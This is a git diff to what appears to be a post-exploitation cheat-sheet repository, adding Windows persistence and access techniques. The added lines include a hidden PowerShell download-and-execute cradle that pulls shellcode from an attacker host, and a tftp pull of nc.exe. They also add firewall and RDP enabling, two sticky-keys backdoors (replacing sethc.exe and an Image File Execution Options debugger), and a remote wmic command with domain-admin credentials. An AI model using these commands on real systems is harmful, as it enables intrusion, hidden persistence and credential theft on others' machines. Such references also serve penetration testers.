diff --git a/persistence/windows/general.md b/persistence/windows/general.md index 651fbfd..c337744 100644 --- a/persistence/windows/general.md +++ b/persistence/windows/general.md @@ -13,19 +13,26 @@ return false; Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. +### Firewall Exceptions +When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows: + +`netsh firewall set service type = remotedesktop mode = enable` + + +### Powershell Downloader + * **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"` + * **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_. + + ### Remote Assistance Enable * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f` * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system. - * **Output**: - *
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C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f -The operation completed successfully.
+ ### Remote Desktop Enable - Method 1 * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f` - * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. - * **Output**: - *
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C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f -The operation completed successfully.
+ * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. + ### Remote Desktop Enable - Method 2 Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below. @@ -76,4 +83,20 @@ c:\> net use \\[TargetIP]\ipc$ password /user:username c:\> at \\[TargetIP] 12:00 pm command -An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` \ No newline at end of file +An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` + + +### Sticky Keys (Requires reboot) +Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`. + +Some caveats: +* If NLA (Network Layer Authentication) is enabled, this won't work +* If RDP (Remote Desktop Protocol) is disabled, this won't work + + +### Sticky Keys (No reboot) +This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place. +* In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe` +* Make a REG_SZ value called "Debugger" (Ensure it is capitalized) +* For the "Debugger" REG_SZ, make it have a value of your binary +* Press SHIFT 5 times and your binary should be executed \ No newline at end of file diff --git a/presence/windows/blind.md b/presence/windows/blind.md index 8a67efd..e294932 100644 --- a/presence/windows/blind.md +++ b/presence/windows/blind.md @@ -26,4 +26,4 @@ The files below are things to pull when all you can do is to blindly read. Examp | `%WINDIR%\system32\config\default.sav`
`%WINDIR%\system32\config\security.sav`
`%WINDIR%\system32\config\software.sav`
`%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) | | `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. | | `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. | -| `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. | \ No newline at end of file +| `unattend.txt, unattend.xml, unattended.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. Sometimes found in the `%WINDIR%\Panther\` directory. | \ No newline at end of file diff --git a/presence/windows/windows_cmd_config.md b/presence/windows/windows_cmd_config.md index aa4eae6..15b4ef7 100644 --- a/presence/windows/windows_cmd_config.md +++ b/presence/windows/windows_cmd_config.md @@ -214,7 +214,7 @@ For some of these `wmic` commands that pull information (versus perform an actio ### Process Create * **Command with arguments**: `wmic process call create [EXECUTABLE]` - * **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe"). + * **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe"). Another option for this command comes from [Rob Fuller's talk](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607): `wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"` * **Output**: *
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C:\Users\johndoe>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1936;
ReturnValue = 0;
};